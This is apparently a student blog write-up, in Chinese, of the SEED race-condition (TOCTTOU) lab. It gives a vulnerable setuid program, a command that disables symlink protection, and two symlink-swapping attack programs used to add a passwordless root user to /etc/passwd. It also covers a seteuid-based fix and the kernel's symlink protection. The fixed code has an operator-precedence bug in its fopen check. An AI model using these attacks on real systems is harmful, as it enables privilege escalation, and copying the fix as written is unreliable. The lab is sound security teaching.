Race Condition Vulnerability Lab操作系统实验

实验准备

有TOCTTOU竞态条件漏洞的程序(vulp.c)

/* vulp.c */
#include <stdio.h>
#include<unistd.h>
int main()
{
	char * fn = "/tmp/XYZ";
	char buffer[60];
	FILE *fp;
	/* get user input */
	scanf("%50s", buffer );
	if(!access(fn, W_OK)){ ➀
		fp = fopen(fn, "a+");fwrite("\n", sizeof(char), 1, fp);
		fwrite(buffer, sizeof(char), strlen(buffer), fp);
		fclose(fp);
	}
	else printf("No permission \n");
}

由于Ubuntu10之后的系统修复了漏洞,需要禁用保护措施。

代码:

// On Ubuntu 16.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0

Task 2.A

target_process.sh

#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ] 
do
        ./vulp < passwd_input
        new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

执行target_process.sh脚本需要在命令行输入:

$ bash ./target_process.sh

分析代码知CHECK_FILE为一个shell指令,效果为获取/etc/passwd文件的标签信息。令old与new都等于CHECK_FILE的执行结果,并进入while循环。当passwd文件未被修改时,old始终都等于new。只有passwd被修改时才会跳出循环并输出运行结束的提示。

attack_process.c

#include <unistd.h>

int main()
{
	while(1)
	{
		unlink("/tmp/XYZ");
		symlink("/dev/null","/tmp/XYZ");
		usleep(1000);

		unlink("/tmp/XYZ");
		symlink("/etc/passwd","/tmp/XYZ");
		usleep(1000);
	}
	return 0;
}

//编译命令:gcc -o attack_process attack_process.c

分析代码知该程序反复将/tmp/XYZ指向无root权限的/dev/null和有root权限的/etc/passwd。usleep(1000)降低反复执行的速率,逃避系统检查。

运行&结果

在开始运行attack_process 后,XYZ开始反复获取与失去权限。开始执行target_process.sh脚本,当XYZ无权限时,脚本可以访问XYZ所链接的/dev/null;当XYZ有权限时,脚本无法访问所链接的/etc/passwd,也就无法写入。但当检测到XYZ有访问权限后立即修改XYZ指向passwd,则可以顺利访问。
在这里插入图片描述
如图所示,将passwd_input文件的内如写入到passwd中,成功创建一个不需要密码的root用户
在这里插入图片描述

异常

几次实验中发现,有一次在开始执行target_process.sh脚本时无输出拒绝访问的提示,查看/tmp/XYZ的拥有者变成了root。修改usleep()的参数更大即无问题。根据实验手册解释,在attack_process执行unlink()与symlink()之间,target执行vulp并以root权限创建了/tmp/XYZ文件,导致攻击失败。


Task 2.B

attack2.c

#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main()
{
	while(1){
		unsigned int flags = RENAME_EXCHANGE;
		unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
		unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
		syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
	}
	return 0;
}

将attack2程序代替A中的attack程序,XYZ文件的权限更迭发生在同一条指令中,更加"atomic",使得A中的攻击失败不再出现。

在这里插入图片描述
实际上第二种攻击方法还比第一种更加快速,因为第二种攻击方式中攻击方式没发生改变,但无效的时间段相较A中更短,也更易攻击。


Task 3

原来的vulp程序违反了最小权限原则,所以产生了上面的漏洞。为了避免给予程序过大的权限,尤其是在类似修改数据的地方,可以采用降权的方式。vulp代码修改如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
int main()
{
	char * fn = "/tmp/XYZ";
	char buffer[60];
	FILE *fp;
	/* get user input */
	scanf("%50s", buffer );
	
	uid_t real_uid = getuid();
	uid_t eff_uid = geteuid();

	seteuid(real_uid);

	
	if(fp = fopen(fn, "a+")!=NULL){
		fwrite("\n", sizeof(char), 1, fp);
		fwrite(buffer, sizeof(char), strlen(buffer), fp);
		fclose(fp);
	}
	else printf("No permission \n");
	
	
	seteuid(eff_uid);
}

在即将能够修改数据的时候自动获取程序的真实用户,使之只能行使自身能够行使的权力,在完成数据修改工作后再恢复权限。

在这里插入图片描述
如图,在展开如前的攻击方式,实机实验10min仍攻击失败。


Task 4

还记得实验开始,为了打开实验漏洞而关闭了symlink的保护机制。现在将其恢复:

$ sudo sysctl -w fs.protected_symlinks=1

再重新进行Task 2.B的攻击方式,发现原本应该有效用户是seed的/tmp/XYZ文件在攻击过程中被修改为root,使原本的攻击手段如同Task 2.A中偶尔出现的情况一样失败
在这里插入图片描述

问题解决

  1. How does this protection scheme work?
    多次实验后可以观测到该保护机制的实现原理:当一个无权限的链接试图访问并成功访问关键文件的时候,自动将该链接升为root,则无法被普通用户程序修改,attack2的竞态条件就不存在了,攻击失败。
  2. What are the limitations of this scheme?
    这种防御方式无法防御第一次攻击,如果第一次攻击就达成竞态条件,攻击即可成功,防御失败。

实验总结

TOCTTOU竞态现象是本次实验的攻击手段的基础。在访问文件前,计算机会先检测当前用户权限是否能够打开该文件,而这个漏洞通过链接的快速更换,欺骗系统当前权限能够打开,并随即更换链接对象为关键文件,达到修改隐私文件的目的,完成攻击。

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

winnower-sliff

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值